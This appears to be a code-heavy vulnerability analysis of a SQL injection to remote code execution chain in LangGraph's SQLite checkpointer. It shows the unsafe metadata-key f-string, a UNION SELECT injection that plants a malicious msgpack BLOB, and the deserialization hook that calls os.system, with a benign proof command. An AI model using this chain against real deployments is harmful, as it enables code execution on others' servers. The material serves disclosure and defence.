LangGraph Checkpointer SQLi → RCE 취약점 분석 — CVE-2025-67644 / 28277 / 27022 (Check Point Research)

CREATE TABLE checkpoints (
    thread_id            TEXT NOT NULL,
    checkpoint_ns        TEXT NOT NULL DEFAULT '',
    checkpoint_id        TEXT NOT NULL,
    parent_checkpoint_id TEXT,
    type                 TEXT,
    checkpoint           BLOB,   -- ← 직렬화된 페이로드 저장
    metadata             BLOB,
    PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id)
);

{
  "user_id": "alice",
  "step": 1,
  "source": "input"
}

# process metadata query
for query_key, query_value in filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

return (predicates, param_values)

f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id,
       type, checkpoint, metadata
FROM checkpoints
{where}
ORDER BY checkpoint_id DESC

async for (
    thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id,
    type, checkpoint,   # ← 쿼리에서 그대로 가져온 BLOB
    metadata,
) in cur:
    yield CheckpointTuple(
        self.serde.loads_typed((type, checkpoint)),   # ← 여기서 역직렬화
        ...
    )

SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id,
       type, checkpoint, metadata
FROM checkpoints
WHERE ... (injected: ') UNION SELECT 'thread1', 'ns', 'checkpoint1', NULL,
                                      'msgpack', X'<악성 msgpack BLOB>',
                                      '{}' -- )
ORDER BY checkpoint_id DESC

def loads_typed(self, data: tuple[str, bytes]) -> Any:
    type_, data_ = data
    if type_ == "null":      return None
    elif type_ == "bytes":   return data_
    elif type_ == "bytearray": return bytearray(data_)
    elif type_ == "json":
        return json.loads(data_, object_hook=self._reviver)
    elif type_ == "msgpack":
        return ormsgpack.unpackb(
            data_, ext_hook=self._unpack_ext_hook,
            option=ormsgpack.OPT_NON_STR_KEYS
        )
    elif self.pickle_fallback and type_ == "pickle":
        return pickle.loads(data_)
    else:
        raise NotImplementedError(f"Unknown serialization type: {type_}")

def _msgpack_ext_hook(code: int, data: bytes) -> Any:
    if code == EXT_CONSTRUCTOR_SINGLE_ARG:
        try:
            tup = ormsgpack.unpackb(
                data, ext_hook=_msgpack_ext_hook,
                option=ormsgpack.OPT_NON_STR_KEYS
            )
            # module, name, arg
            return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])
        except Exception:
            return

return getattr(importlib.import_module("os"), "system")("echo PWN > /tmp/pwned.txt")

def get_state_history(
    self,
    config: RunnableConfig,
    *,
    filter: Optional[Dict[str, Any]] = None,
    before: Optional[RunnableConfig] = None,
    limit: Optional[int] = None,
) -> Iterator[StateSnapshot]:
    for checkpoint_tuple in self.checkpointer.list(
        config, filter=filter, before=before, limit=limit
    ):
        # ...